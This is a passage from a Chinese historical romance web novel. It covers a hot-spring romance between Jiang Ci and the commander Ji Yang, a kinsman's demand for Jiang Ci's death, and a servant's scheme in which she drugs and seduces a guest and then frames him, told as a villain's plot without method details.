谢归璟垂下眼睫,唇角一抹自嘲浮现而过。他什么也没再说,只微一点头,绕过她,继续走进夜色深处。
楚窈看着他的背影,脸上并未露出失落的深情,而是浅浅一笑。
日上三竿,暖阳透过窗纸洒在床榻上。姜辞睫羽微颤,缓缓睁开眼,头还有些沉,隐约作痛。
她坐起身来,揉了揉额角,只觉得脑海里一团迷雾,昨日的记忆停留在与姬阳在人群中起舞的画面,再往后,便是一片模糊。
“小姐醒啦?”银霜推门而入,手里端着一盆温水,语气
里带着些轻快,“东西全都装好了。这次我们不走西岭,直接折返丰都,路程会快不少。”
姜辞半倚在床头,轻声问道:“所有人都准备好了?”
银霜点头:“是的。一早东阳军已经和陆司马、璟公子先行一步了。都督留下来带一小队人马,说是等您醒了再出发,也不差这半日。”
姜辞听得一怔,心头悄然一暖。她低声道:“他……竟然等我。”
“您昨夜醉得可厉害呢。”银霜笑着扶她起身,“快些洗漱,收拾一下就能出发了。”
姜辞换上出行衣裳,和银霜、晚娘、楚窈一同走出郡守府。
府前,东阳军已整队待发。姬阳骑在马上,身形挺拔,身上穿的正是她亲手缝制的那件衣裳。布料挺括,肩头那双虎头暗纹在晨光下若隐若现。
姜辞抬头看向他,目光恰与姬阳撞上。
他似是怔了怔,随即不自然地将头偏开,轻咳一声,语气一贯清冷:“准备出发。”
姜辞登上马车,拨开帘子,看见姬阳策马行在车侧,神情沉稳如昔,却不知为何带着点别扭。她有些疑惑,便低声问晚娘:“姬阳这是怎么了?”
晚娘一笑,意味深长地望了她一眼:“姑娘,昨夜的事,您半点都不记得了?”
姜辞摇摇头,皱眉思索:“我只记得……我们在跳舞,有人敬酒,后面的事,好像全忘了。”
马车外,姬阳听得耳尖,指尖一顿,低头轻叹一口气。
还好,她都不记得了。
他们出发后一路行来,山道人迹稀少,沿途寂静清凉。至傍晚时分,天色微沉,落日的余光洒在山路上,松影婆娑。
姬阳策马行在前方,忽而回头道:“此番回丰都,会路过月泉山庄。那是一处山里的温泉客栈,若我们加紧赶路,今晚便能到,正好歇脚。”
姜辞撩开马车帘子,望向他:“温泉?”
姬阳点了点头:“这山庄已开了几十年,泉水是从山腹中引出的,清润温和。你体寒,大夫说泡一泡对你身子好。”
话说完,他轻夹马腹,策马前行。
姜辞愣了一瞬,低头一笑,撩起帘子落下。银霜看着她,笑着道:“都督倒是难得体贴。”
约莫一个时辰,天边最后一抹霞光也隐没了,一行人绕过蜿蜒山道,终于抵达山腰处的月泉山庄。山庄筑于岩间,檐角飞翘,灯火初上,雾气自四周氤氲升起,仿佛人间仙境。
姜辞下车时,姬阳已等在客栈门前。他手中拿着一块木牌,将钥匙递给她:“这是你那间房的钥匙。”
几位伙计应声上前,引他们入内,一边走一边介绍:“我们这温泉池子都是独院,不与旁人共浴,几位姑娘尽管放心。”
姜辞听了笑道:“我在紫川时还从没泡过温泉,今儿倒是可以好好体会一回了。你们几个也都试试吧。”
银霜和晚娘俱是高兴,楚窈亦点头应下,眼里透着雀跃。
客房安置妥当,姜辞与姬阳的房间在上方,是两间相邻的上房,几名侍从则住在下方普通客舍。晚娘笑道:“姑娘,我来伺候你,她们两个小姑娘去泡一泡也好。”
银霜和楚窈去了后,姜辞便在屋中歇下。约莫一盏茶功夫,门外传来轻响。晚娘去开门,见是伙计送来的点心与果品,说是隔壁的大人让厨房准备的,送来给夫人垫垫肚子。
姜辞尝了一块冰镇山梨糕,清甜冰凉,入口即化,不禁称赞:“这点心做得真不错。”
晚娘笑着替她拆发,帮她换上客栈准备的薄衣,轻如蝉翼,披在身上几乎无声。姜辞低头一看,面上微微发热:“这……太薄了些吧?”
晚娘说道:“这衣裳虽薄,是山庄特制,用的是水纱,穿着透气舒服,姑娘莫要嫌透。”
“姑娘又不是要见人,后院也没人,泡完就换回来。”
姜辞低头看了看,虽觉单薄,却也没再说什么,只轻轻应了句,随即赤足穿过寝间,推门而出。
后院被竹篱围起,石板铺路,池水被雾气笼罩,池边松柏苍翠,清风带着山野的气息。
她赤足踩入温泉边,先以手试水,温度恰好,便缓缓坐入池中。温热的水漫过肩头,舒缓着舟车劳顿带来的倦意。
不知过了多久,水面忽然一阵轻响,远处雾中浮出一道人影。
姜辞心头一紧,低声道:“谁在那里?”
姬阳也是一愣,他听见是姜辞的声音,声音穿过雾气答道:“是我。”
是姬阳。
他已半身入水,头发高束,身形被水汽模糊。他顿了一下,语气中难掩尴尬:“你怎么在这里?”
姜辞将手护在胸前,脸上浮现一丝懊恼,这才想起两人住的是相邻房间,后院温泉竟是相通的。此刻让他出去,似乎显得矫情,自己也难为情得很。
八成被晚娘做局了。
姬阳站在水中,进退不得。
气氛微妙下来,水汽缠绕,影影绰绰间,连彼此的身影都只见轮廓。
姬阳站在池边,脚步未动,沉声道:“那我等你泡完。”他说着,转身欲出。
姜辞却轻声道:“都督,无碍。已晚了,明日还要赶路。你……坐下吧,反正也无旁人。”
话音落下,姬阳略一顿,还是转身,在池子另一边缓缓坐了下去。
热雾缭绕间,二人各据一隅,谁都未再开口。空气仿佛静得能听见彼此的呼吸与水波声。
水面起了细碎波纹,在雾气中荡开一圈圈涟漪。
院外月色微沉,风过松枝,篱笆另一侧,银霜与晚娘猫着身子贴着围栏,屏息听着动静。
“你说他俩怎么就这么别扭?”银霜压着嗓子,“明明彼此在乎得要命,一个扭头不说,一个抿嘴不问,瞧着跟俩新兵蛋子似的。”
晚娘摇头叹了口气:“急死我了。让你准备的东西带了吗?”
银霜得意一笑,从怀中掏出一团用绸布裹着的物什,解开包裹,是一条栩栩如生的假蛇,鳞片做工极真,眼睛一颗一颗缀着黑玉珠。
“在宁陵早备下了,没想到还能在这儿派上用场。”她说。
“姑娘最怕这个了。”晚娘眼神笃定。
两人相视一眼,银霜站直一抖手腕,将那假蛇悄然甩进了篱笆内的温泉池。
池中,姜辞正坐在台阶上,神思恍惚。身侧水波微漾。
“啪”地一声轻响,那假蛇撞上她手边,姜辞垂眸一瞥,只觉视野中多了个滑腻细长之物,尾端正晃着。
她定睛一看,脸色骤变,猛然一跃而起,惊叫出声:“啊!”
姬阳原本靠在池边,听到姜辞惊呼的那一刻,神色陡变,立刻起身朝她那边游过去。
“怎么了?”
姜辞花容失色,急欲从池中逃离。可脚底一滑,整个人踉跄着往前扑倒,水花四溅,她跌入水中,心跳剧烈,动作全无章法,在水中扑腾着,像是溺水一般失控。
姬阳毫不犹豫,双臂探入水下,一把将她捞起。
下一瞬,姜辞像是找到了唯一的依靠,双臂紧紧搂住姬阳的脖颈,整个人扑在他怀中,双腿甚至不自觉地环上了他的腰。
她声音颤抖:“有蛇、有蛇!”几乎是整个人挂在姬阳身上。
她只穿着薄纱内裳,那层如蝉翼的布料早就湿透,贴在肌肤之上,曲线展露无疑,香汗涔涔,胸前柔软抵在姬阳胸口,细若蚕丝的呼吸就在他耳畔打着旋。
姬阳的身子骤然一紧,他下意识地收紧手臂,怀中的姜辞惊魂未定,整张脸都埋进了他颈窝间,热气喷洒而出,惹得他喉头发烫。
他目光往水面扫去,看到了那条蛇,果然浮在那里,一动不动。
他忍着失笑,低声道:“……是假的,别怕。”
姜辞僵了一下,缓缓抬头,一双眼雾气缠绕、泛着水光。她这才意识到自己此刻与姬阳的姿势极为暧昧。
她贴在他身上,几乎是赤果地与他肌肤相贴。而他的双臂,还紧紧圈着她的腰,掌心所在处正是她后背最柔软的地方。
她想抽身,身子却软得不像话,明知应避,偏又舍不
得太快挣开。
雾气将两人紧紧包围,只有彼此的气息清晰。
姬阳垂眸,正好对上她的眼。那一刻,他忽然觉得什么理智都被泡在了这池水里,渐渐软化。
姜辞脸上的潮红,已分不清是水气熏染还是心跳太快。
她张了张嘴,什么也没说,只是怔怔望着他,眼中微微一动。
姬阳低声道:“吓着你了。”
姜辞声音有些沙哑,似乎还未从刚才的惊恐中缓过来,但唇角却勾起一点小小的弧度:“……都督抱得我太紧了,我都要喘不上气了。”
姬阳这才惊觉,自己还抱着她,掌心的位置……火热一片。
他猛地一顿,正要松手,却感到她轻轻收了下手臂,似是挽留。
这微妙的力道,在夜色与水雾中,成了最柔软却最沉重的牵引。
他的呼吸乱了。
池中温度渐升,连带着两人之间的气息,也变得灼热难耐。
姜辞还挂在姬阳身上,手搭在他的肩上,心跳快得惊人,连耳根都红透了。
她犹豫地抬起眼,一双眼睛含着潮易与说不清的情绪,不再退避,也不再压抑。
她嘴唇微张,呼吸尚未平稳,姬阳的目光却早已不由自主地落在她唇上,她的唇很软,微微泛着水光,仿佛染了一层桃色。
姜辞忽然低头,在他的唇上轻轻一啄,像羽毛掠过湖面,极轻、极短,却又像是拨动了心弦。
姬阳怔在原地,喉结缓缓滚动,心头一震。
她身上有一种淡雅的香气,混着温泉水的气息,萦绕在他鼻息之间,教人心神荡漾。
他再无法克制地抬起手,覆上她的脸颊,指腹在她耳后缓缓摩挲,掌心下是细腻温热的肌肤。
然后,他仰起头,吻住了她。
另一边,晚娘和银霜轻轻击了一下掌小声说道:“成了成了!”
第57章
他的唇缓缓与她相贴,带着克制的深情,一点点收紧,舌尖轻触,呼吸交缠,温柔却又难抑情绪。
姜辞也回吻了他,双臂轻轻勾着他的脖颈,乖顺又主动。
雾气蒸腾,水波微漾。
他抱着她往池边走去,水珠从他结实的肩臂滴落,他一步一步走入后屋,她仍旧挂在他身上,手不愿松开,唇也依依不舍。
水珠顺着他们的发梢与指尖滑落,落在地板上。
二人回到屋内,姜辞还未反应过来,整个人已被他轻轻放倒在床榻之上。
她的发丝散开,还有水珠,眼波带着迷离的意味,脸颊红得像极了早春初开的桃花。姬阳低头看她,那一双眼眸已不再冷硬,而是藏着压抑的炽热与克制的柔情。
他俯下身,覆住她的唇。
这一吻不似温泉中的试探,而是情难自抑。他的手探入她的发间,力道温柔却迫切,姜辞轻轻抱住他,眉眼含情,眼中只有他一人。
指尖、气息、体温都在无声靠近,气氛像被悄然点燃的灯芯,幽暗中微光浮动,呼吸都缠绕不清。
他的唇贴着她的耳侧,呢喃着她的名字:“姜辞……”
然而——
就在一切将要跨过那道界限的瞬间,姬阳的脑海中,忽然闪过一幕幕久远而沉重的画面。
——三年为质的岁月,自己像头被牵入市集的牲口,穿着单薄的囚衣,目光沉静,却被来往之人肆意打量、嘲弄。他记得那日的风很大,帐外阳光正烈,而姜怀策就站在高处,居高临下地看着他,耳边尽是“东阳狗崽”的辱骂声。
——他又想起重返东阳的那日,死里逃生,踏进丰都城门时,刚站稳脚跟,却看见父亲的送葬队伍缓缓从长街尽头而来。万民无言,白幡低垂,他站在人群之中,连声哭喊都发不出来。那一刻,他从未觉得自己如此无助,天塌地陷。
耻,孤独,疼痛,与她如今的眼神,忽然在他脑海层层重叠,像一张忽然撕裂的纸。
他猛然清醒,像被惊雷击中一般,整个人顿住了动作。
片刻的沉默后,姬阳缓缓撑起身,眼神一寸寸由灼热转为沉静,他伸手掀起一旁的被褥,轻轻盖住她的身子。
姜辞怔怔看着他,眸中还带着未褪的潮红与情动。
他没有看她,嗓音低哑,却带着某种自责的冷静:“……我不能。”
姬阳快步走到门口,将门拉开,风吹进来。
可又想起那日,宁陵堤坝溃倒,风雨欲摧,他咬牙死守,力竭如困兽。他以为东阳军要折在那,可在最绝望之时,是她,掌着一盏油灯,带着百姓出现在他面前。
姬阳一把将门重新关上,动作带着几分迟疑,似乎是在下一个艰难的决断。
他静静站了片刻,终是转身走回塌前。姜辞仍靠在床榻上,眼底还残留着未散的情意。他望着她,眼神晦暗不明,忽然俯身,抬起她的下颌,低头吻了下去——这一刻,他只想随心而行。
这一吻不同于方才的试探与温柔,而是带着近乎克制到极致后的失控。
姜辞被他的突如其来弄得有些愕然,但很快便察觉到他的情绪:压抑、挣扎,又隐含着浓烈的情感。她轻轻回抱住他,手指划过他紧绷的背脊,像是在安抚他,也像是在默许。
姬阳呼吸愈发沉重,低头再次吻住她,指尖沿着她的衣带游移,衣衫渐乱,他一把掀开被子,将她拥入怀中。
正当气息纠缠、温度逐渐升高之时,门外忽然响起一道急促的声音——
“主公,青州军报到了!”
是杜孟秋的声音。
姬阳动作一滞,额上青筋微跳,目光倏地冷了几分。他撑起身,低头看向姜辞,眼中藏着不甘。
姜辞气息未稳,却笑了一下,轻声道:“都督去吧。”
他盯着她看了一瞬,终是叹了口气,将被子重新为她掖好。那一瞬,他的动作极轻,像是不舍,又像是歉疚。
“也对,你我不差这一时半刻。”姬阳说完披衣起身,推门而出,步履未乱,眉眼却是低沉的。
外头,杜孟秋候着,姬阳听完军报、下达命令,赶走杜孟秋快步再回屋时,房中却早已空无一人,连方才残留的暖意,也随那人一道,悄然散尽。
姬阳没有睡觉,他在屋内坐了一夜,知道天明,他换好衣服才出门。
“是啊,不差这一时半刻,回到丰都,我们还有机会。”他喃喃自语。
一行人再次启程,路途清寒,车辚马响。
姬阳与姜辞并肩而行,却谁也没有提起昨夜的事。温泉池边的缱绻仿若一场梦,醒来后,皆归沉默。即便偶有目光相触,也只轻轻一撇,转瞬即逝。
几日之后,队伍终于抵达丰都。
当马车缓缓驶入东阳侯府前,朱门紧闭已久的高墙再度敞开。门前早有候人恭立,而姬夫人早早便守在门廊下,衣饰素雅,神色间满是盼望。
姬阳翻身下马,正要唤一声“娘”,手便自然伸了出去,谁知姬夫人连看都没看他一眼,步子绕过他,径直走向马车。
帘子一掀,姜辞携银霜下车,姬夫人眼前一亮,眼角立时笑开了:“哎哟哟,我的好儿媳!你们可算回来了,这一路吃了不少苦吧,怎么瘦了?”
她一把握住姜辞的手,满眼都是疼惜。
姬阳站在一旁,手还在半空,讶然地看着她:“娘,我也很辛苦啊。”
姬夫人回头瞥了他一眼,神情淡定:“你是东阳的都督,吃点苦是你分内的事。”
姜辞被她这般亲热对待,略有些受宠若惊,柔声道:“多谢婆母挂念,我无碍。”
姬夫人拍了拍她的手背:“好孩子快进来,我今儿特意让人做了你爱吃的豆酥酿鸡,还有糖藕、茯苓糕,你要不回,我这心可悬着。”
说罢,牵着姜辞就往府内走去,亲昵得好似多年母女,姜辞温顺应着,步伐轻缓得体。
姬阳在后头望着这一幕,无奈笑了笑,只得收回那只被晾了的手,抬步跟了进去。
另一边,银霜带着楚窈回到姜辞的院落。庭院旧影如故,碧树婆娑,朱栏回绕,院中植着新开的黄蔷薇,微风拂过,香气四散。
银霜推门而入,将几只行囊落在玄关,回身叮嘱道:“这就是我们小姐的屋子,你把她的东西安置好,但记住,屋子里的东西,不许乱动。”
楚窈忙点头应下,语气乖巧:“是,我晓得分寸。”
银霜看她一眼,自己则去内室帮晚娘整理其他物什。
楚窈捧着包裹踏入房门,目光悄悄在屋内环视一圈,但她很快垂下眼帘,手脚利落地整理起来,神色安静如常。
姬阳和姜辞陪着姬夫人用过晚膳,天色已微暗,晚风携着草木气息,从廊檐间徐徐吹来。
两人一道往外院行去,姜辞步履不紧不慢,姬阳原本走在前头,走着走着,不自觉地也放慢了脚。廊角烛火斜照他侧脸,映出温缓的线条。
“谢公子,”他忽而开口,语调低稳,“我让杜将军安排他住在城南的清远酒楼,一应事宜都打点好了。”
姜辞轻轻“嗯”了一声,目光微侧,看向他:“谢谢都督。不过……你为何邀请他来丰都?”
姬阳略一顿足,答道:“他在宁陵帮了不少,我想着请他来做客,以表谢意。”
姜辞没有说话,只轻轻点头。
两人缓缓走到一棵树下,枝叶茂密,将夜色遮得更沉几分。姬阳先一步抬手,将挡在前方的树枝撩开,让姜辞先行。
那一瞬间,他的动作自然,透着无言的体贴。
回到院中,姬阳止步于阶前,侧身看向她:“你先前住的院子,已经修缮得差不多了,只是新置的物件还有些味道,得再晾几日。这几天你就还住在我那边。”
他说得不紧不慢,仿佛一切都是理所应当。
“之前从凉州运回来的东西,都放在后院库房,你若有空,不妨去看看。”
姜辞听到“凉州”二字,神色微动,随即点了点头:“好。”
姬阳低眸,“青州那边出了些事,我要去督军署一趟,今晚恐怕不回来了。”
姜辞应道:“你放心去处理要务。”
姬阳颔首,转身离去,背影渐远,最终消失在拐角廊下。
姜辞站了片刻,回神后便唤上银霜,前往后院的库房。
推开厚重的库门,眼前堆叠如山的箱笼琳琅满目,比她父亲托人从凉州运来的还多出一倍。她走近,一一查看,木箱上还贴着标签,分门别类,连细软与用具也都一应俱全。
姜辞伸手拂过箱盖,唇角缓缓浮出一丝笑意,神情却温柔而恍惚。
她拉开一只暗色箱子,箱中赫然一排整齐书册,都是寻来的医书,线装封皮仍带着凉州的气息。
她原本是为了姬栩那难解的顽疾而求书,如今这些,也都用不上了。
她鼻尖一酸,眼泪啪嗒掉落,脑海中全是那温文有礼的身影,姜辞的手停在封面上,指腹轻轻摩挲,静了片刻,才将箱子合上。
银霜欲言又止,姜辞朝她微微一笑:“我去大哥院里坐一坐。”
她只身前往。
小径寂寥,院落清冷。昔日竹影斜斜,如今枝叶更盛,簌簌作响。姜辞走到那棵熟悉的竹下,石桌边落了些许旧叶,她伸手扫去,手掌落在那冰凉的石面上,一瞬间,仿佛有幻觉浮现。
那个玉树临风的公子,坐在那处石凳边,正抬眼望她,清朗含笑。
一阵风吹过,她眼眶又是一涩,终是坐下,一只手撑在石桌边,另一只手垂落,额角轻抵手背。
眼泪悄然落在石桌上。
这时,一方手帕递到她面前。
姜辞一怔,抬起头,只见姬云梵站在月色下,眉眼之间已有少年英气,劲装束身,整个人比她离开时高了一些。
“阿梵……”她轻声唤道,声音哑得厉害。
姬云梵坐到她对面,神情郑重却不失稚气:“姜姐姐,是在想我爹爹吗?”
姜辞看着他,许久,才点点头。
“嗯。”她答,“有些想他了。”
姜辞坐在石凳上,身边的少年絮絮叨叨地说着这一个月的事。
他声音还带着少年人特有的清亮:“姐姐你不在,我每天跟先生学笔法,先生说我字有点像我爹……还有,我现在射箭很准,前两天刚打中红心,祖母还赏了我一块糕。对了,我还学会了骑马!虽然第一次差点摔下来……”
他眼睛亮亮的,脸颊染了些红,兴致勃勃地一口气说了许多,又像突然想起了什么似的,转头问她:“姐姐,下次你也来看我练箭好不好?我给你射只兔子!”
姜辞听着,唇边带着柔和笑意。她伸手,抚上他稚嫩的脸颊,掌心传来的是少年体温微热的轮廓,她声音温柔:“好,一言为定。”
她停顿了下,眼眸轻轻弯起,缓声说道:“阿梵,你爹爹若是看见现在的你,定然也会替你高兴。”
话音刚落,姬云梵眼圈一红,忽然扑进她的怀中,小小的身子紧紧抱着她,肩膀微微颤抖,声音含着哭意:“可我还是……还是很想爹爹。祖母说爹爹变成天上的星星了,在天上看着我。”
姜辞愣了一瞬,抱住他,轻轻拍着他的背,一下又一下。那少年的鼻音哽咽,却努力不让眼泪落下来,仿佛怕失了父亲心中最坚强的模样。
她仰头望向夜空,繁星点点,幽蓝如洗,像是千万颗微光在遥遥相望。
“是啊。”她轻声道,“他一定在天上,看着你长大,看到你这般勇敢,一定很骄傲。”
那声音仿佛随风飘入夜色里,落入远处的天幕下。
……
与此同时,城西的督军署中,姬阳独自站在院落里。
夜风吹动他衣角,身后的兵符与案牍已被他放置妥当,此刻,他抬头望天。
漆黑如墨的苍穹中,一抹银白横斜天际,星辰静静悬挂。
忽有急促的脚步声响起,杜孟秋快步走来,站定在他面前,拱手低声道:
“主公,溪陵沈将军的大公子到了。”
姬阳眉头一动,未言语,只是目光微顿。杜孟秋抬头,声音压得更低了些,语气里却带着一丝凝重:
“他说……是夫人害死了他的妹妹。表小姐死在东阳侯府,他要您给个说法。”
沈廷安端坐在督军署偏厅之中,整个人如山岳般沉沉威严。侍从为他斟了一杯茶,放在案上,他却连看也不看一眼,只低眉沉思,眉宇间尽是怒意。
门被推开,姬阳步入室内,沈廷安立刻起身,目光如炬,声音冷厉:
“姬阳,你的夫人害我妹妹身亡,如今连尸骨都未送回溪陵,东阳侯府便是如此待我沈家的吗?”
姬阳神情不动,负手踱步至主座落座,抬眸一笑,语气不疾不徐:“沈表哥,事有蹊跷,恐怕其中另有误会。我记得,我曾亲笔书信与伯父说明,表妹身染恶疾不治,已于汀洲下葬。”
沈廷安冷哼一声,走上前,从怀中抽出一封信,重重掷在姬阳案前:“那你也看看这封信,这是阿如的贴身婢女带回来的,是她亲笔所写!”
姬阳拈起信纸,细细一览,语气仍旧沉稳:“表哥怎知,此信并非他人仿造?”
沈廷安语带压抑的怒火,眼神如刀:“阿如是我的亲妹妹,我出征她经常给我写信,她的笔迹我怎会认不出?况且,信中所言与你夫人言行无一不符。”
“姬阳,我今日来,不为旁事,只求一个交代。”
姬阳抬眸,神色未变:“那表哥想要何种交代?”
沈廷安语出如锋,几近咬牙切齿:“杀人偿命,我只要一件事——姜辞那妇人的头,用以祭我妹妹之灵!”
第58章
姬阳沉默地看完那封信,眼神微敛,手中信纸被他一点一点揉成团。
他低头垂眸,脑海中浮现出姬栩临死前坐在院中那抹形销骨立的身影。那个平日总带着笑意的兄长,在杀了沈如安之后,再无欢言。
而那场杀意背后,皆因沈如安心怀恶意,下药陷害,若非他及时赶到,差点叫她与姬栩清白尽毁,名节尽失。
可这等事,岂能轻易言明?姜辞如今是东阳侯府的夫人,一旦传出她曾险些失身于自己的大哥,非但她清白难保,连姬栩死后,也怕要落个“乱/性”的污名,被人诟病不止。
姬阳指尖松开,一团信纸被他丢到几案之上。他抬起头,神情不动,语气清淡如常,却隐有威凌:“沈表哥,不知你可还记得一个人?”
沈廷安冷声道:“谁?”
姬阳目光不动:“你妹妹身
边的密友,寄秋。”
沈廷安眉头一皱,声音依旧凌厉:“自然记得。”
姬阳缓缓开口:“她如今在青州服劳役。你若有疑,倒不妨将她调回来,好生问问——你妹妹,到底都做了些什么。”
沈廷安眯起眼,似是不信:“姬阳,你这是什么意思?”
姬阳终于抬眸,那一双眸子沉如古井,藏着让人不敢逼视的冷意:“我是什么意思,少将军未必不明白。你妹妹的死,我也遗憾。但你若执意凭一封胡言乱语的信,就要我夫人的项上人头——”
他语声一顿,唇角勾出一抹冷笑:“那也就不必与我再论什么亲戚之情。”
沈廷安面色沉下几分,似要开口。
姬阳却忽地起身,背手踱了两步,话锋一转,语调却忽然一紧:“少将军的父亲,见我也要称一声都督,你口口声声叫我名讳,质问于我,可知分寸?”
沈廷安眼神一凝,拳头微攥。
姬阳回身看他,神色平静:“我叫你一声表哥,是念着些血缘旧情。但你若不将我东阳都督之位放在眼里,那便只能是臣对主,军令如山。你若不查是非真伪,便要我交出姜辞。”
他目光冷如霜刃,字字铿锵:“恕我不能如了你的愿。”
沈廷安面色铁青,胸膛剧烈起伏着。他盯着姬阳,目光如剑,似要将那人冷然的面庞刺出裂痕。
片刻后,他猛地冷哼一声,眼底怒火翻涌,几乎压不住。上前一步,双掌重重拍在几案上,发出一声闷响,连桌上的茶盏都微微震动。
“好个都督,”他咬牙切齿,声音带着咒咀,“你果然是被那女人迷了心窍,为了她,连沈家也敢一并得罪。”
他顿住,低笑一声,却更显冷意森然:“你护得了一时,未必护得了一世。姬阳,你给我等着。”
话落,他不再逗留,转身大步朝门外走去。
门被他一把推开,撞在门框上。
屋中静了片刻。
姬阳负手而立,神色不动,望着沈廷安离开的背影,只淡淡吩咐一旁的杜孟秋:“让人盯紧少将军,他若有异动,立刻来报。”
“是。”杜孟秋领命离去。
姬阳微阖双目,仿佛那一席话并未带来半分波澜。可袖下紧握的手指,已将掌心戳痛。
他知道,沈家不会就此罢休的,他们一向护短,护起来一点道理都不讲。
虽然姬阳未曾将督军署中与沈廷安的争执告知姜辞,但消息终究还是传了出去。
几日后傍晚,霞光沉落,姜辞披着一件薄披风,敲响了姬阳书房的门。
门开时,姬阳正从外头回来,身上还有些微风尘之气,见她站在门口,眉头轻皱:“你怎么来了?”
姜辞直视着他,语气平稳却带着几分锋利:“你如何处理沈家的事?”
姬阳略一停顿,便垂眸道:“这件事,我会处理好,你不用担心。”
姜辞走进屋内,关上门说道:“沈如安,死前留下那封信,不过是想借沈家之手毁溪陵与你的信任。她自己得不到的,便不许旁人安生,真就是个疯子。如今,若真与沈家断了交情,那正中她下怀。”
她说着,目光在烛火下平静而清晰:“溪陵的渡口若真失去,东阳西线将极难调度,后患无穷。”
姬阳没接话,只是走到书案边,缓缓坐下。他眼神低垂,长指轻轻敲着桌面,良久才道:“无论如何,你和大哥的名声,我不能让外人胡说八道。她信中那些鬼话,不用理。”
姜辞轻轻一笑,眼神却凝然:“倘若我现在暂时回凉州,沈家或许会收些怒气,也能给你一个缓冲的空间。”
姬阳骤然抬眼,眸中有些不舍,他的声音沉了些:“你哪儿也不用去。”
他一字一顿,语气冷静而坚定:“姜辞,本就是沈如安那个毒妇作恶,你和大哥都是牵连其中的受害者。这事若让你一走了之,只会落得个心虚避祸的名头,让他们越发放肆。你若避了,岂不是反倒坐实了她那封信里的诬陷?”
姜辞说:“我知道。”
姬阳忽而说道:“你别多想了——对了,谢公子明日启程回凉州,你去送送他吧。”
姜辞微怔,没料到他会这般坦然提起。
本来她心中正想着要不要主动开口,又担心他会介怀,没想到他竟比自己先一步提了出来,且语气平静自然,丝毫无异色。
她垂了垂眼睫,轻轻点头:“好。”
夜色沉沉,府中灯火渐熄。
楚窈悄声来到厢房外,唤了越白一声。越白正好路过,看见她神色踟蹰,低声问道:“这么晚了,有事?”
楚窈望了他一眼,语气温婉却带着一丝急切:“我想出去一趟,劳烦你送我出门可好?”
越白一愣:“这都过了时辰,府里规矩,夜里不得擅出。”
楚窈神情一黯,眼神里带了几分恳求:“我有个在宁陵的旧识路过丰都,是同乡的长辈,我托他带些东西回去,一直等不到消息,只想亲自去寻一趟。你若不肯,我也不敢强求。”
越白一时犹豫不定,望着她低眉顺眼的模样,终究还是心软。他轻叹一声:“好吧,我带你从后门出去,记得早点回来。”
楚窈低声应了,跟着他穿过廊道,来到东阳侯府的后门。越白推开门时,还不忘叮嘱:“天黑路滑,你一个人要小心。”
楚窈点头道谢,待人影消失在巷口,她立在原地,将袖中藏着的发饰重新别入鬓边,整了整衣裳,转身朝城中谢归璟下榻的酒楼而去。
酒楼灯火未熄,楚窈轻轻叩门。
谢归璟原本在灯下翻着书卷,闻声而起,开门见她,微怔道:“楚姑娘?这么晚了,是阿辞有什么事?”
楚窈从袖中取出一方帕子,递给他:“大姐姐确有要事相托,只是眼下被人缠住,脚步耽搁了,让我先来通个消息,在此等她。”
谢归璟听她提起姜辞,又看了看手中的帕子,是姜辞的绣工,也是她喜欢的样式,随后神情微变,语气不由得轻快几分:“那你快请进,她……她可是有什么事要找我商量?”
楚窈低头踏入房中,眉眼中却藏着几分犹疑,像是踌躇不敢言。
谢归璟请她坐下,她才缓缓启唇:“大姐姐说,她在东阳侯府过得并不顺遂。如今又出了那沈将军要她命的事,她怕连累都督,也不愿让他们因自己起冲突,想请公子带她回凉州。”
谢归璟怔住,半晌方低声问:“真是她的意思?”
楚窈点点头:“她不敢亲口求你,所以让我先来试探一二。”说罢,从篮中拿出一壶酒置于桌上,“这是她亲手酿的,说是要赠公子,不管最终能否同去,也算是一个念想。”
“她酿的?”谢归璟闻言,眼中微亮,忙伸手揭开酒封,一股淡淡花香扑鼻而来。他轻轻晃了晃壶身,语气温和:“她还记得我爱这味儿。”
楚窈笑着应:“大姐姐怕您不好入睡,这酒是温和的花酿,喝了能舒心。”
谢归璟笑着倒了一杯,一饮而尽:“的确香得很。”
楚窈帮他斟满第二杯,语气渐轻:“大姐姐在紫川,与公子一定是两情相悦吧,你们走在一起,我看是天作之合。”
此言似触及谢归璟心头隐痛,他顿了顿,垂眸低声道:“那只是我一厢情愿。她从未说过……要嫁给我。”
说罢,他举杯,一口饮尽,面上掠过一丝难以掩饰的落寞。
楚窈静静望着他,眼神中浮现出一丝莫测的情绪。
谢归璟喝着喝着,眉心微蹙,以往他酒量不俗,纵使与东阳军中健将对饮,也从未失态。但今夜,不过两三杯下肚,脑中便似有雾气缭绕,意识像被人按进温水中,燥热从四肢蔓延而来,叫人心神不宁。
他甩了甩头,站起身想去窗边透透气,却一个踉跄,整个人跌坐在床榻边缘,喉咙微微发紧。
楚窈立刻上前扶住他,声音急切:“谢公子,你怎么了?可是酒出了问题?”
谢归璟望着她,眼神迷离不清,努力辨别眼前的轮廓。他喘息着道:
“这酒……真是姜辞给你带的?”
楚窈神情镇定,微笑点头:“自然是她吩咐的,我怎敢耽误。”
谢归璟蹙眉,身子往后仰了一寸,似要躲避她的搀扶:“不对劲……劳烦楚姑娘先出去,我歇一会儿便好。”
话音未落,腿一软,整个人倒在了榻上。
楚窈立在他身旁,望着他眼中神志渐散的模样,唇角缓缓扬起一丝笑意。她轻轻拨弄了一下鬓发上插着的珠钗,然后低头理了理衣襟。
她慢慢俯身靠近他,像是低语,又像哄劝:“谢公子,我一直很喜欢你……我不奢望你娶我,只求这一刻,能留在你身边。”
她的手覆上他的胸口,一寸一寸向下滑落,却在碰触之间,被谢归璟抓住了手腕。
他看着楚窈的轮廓,视线昏花之下,那些本该分明的线条竟渐渐重叠,在那一瞬,他几乎以为,自己看到的就是姜辞。
他的力道不重,像是本能,却又带着挣扎的迟疑:“阿辞……不可以,你已经嫁人了……我们不能……”
楚窈轻轻颤抖了一下,却在他松手的瞬间,攀上了他胸口。她伏在他耳边低声:“是我,是我来看你了……你不是一直在等我么……”
谢归璟的睫毛轻颤,脸上浮现出痛苦与迷惘交错的神色。他试图再次推开她,可身子却软得使不上力气,意识更是模糊不清。
翌日一早,晨光透过窗棂照入屋内,谢归璟缓缓睁开眼,头还有些昏沉。他下意识地想坐起,却在一眼望见地上凌乱的衣衫时,心头猛地一跳。
他转过头,便看到身旁躺着一人,发丝散乱,被褥下露出一截肩头的白皙肌肤。
是楚窈。
谢归璟像是被雷劈中一般,一下子坐起身来,脸色惨白。他喉头干涩,声音都带了颤:“昨夜……发生了什么?”
楚窈也醒了,见他神色惊惶,便一把将被子拉到胸前,眼圈泛红,带着哽咽的声音说道:“昨日……我来给公子送酒,公子喝了之后,把我……当作大姐姐……”
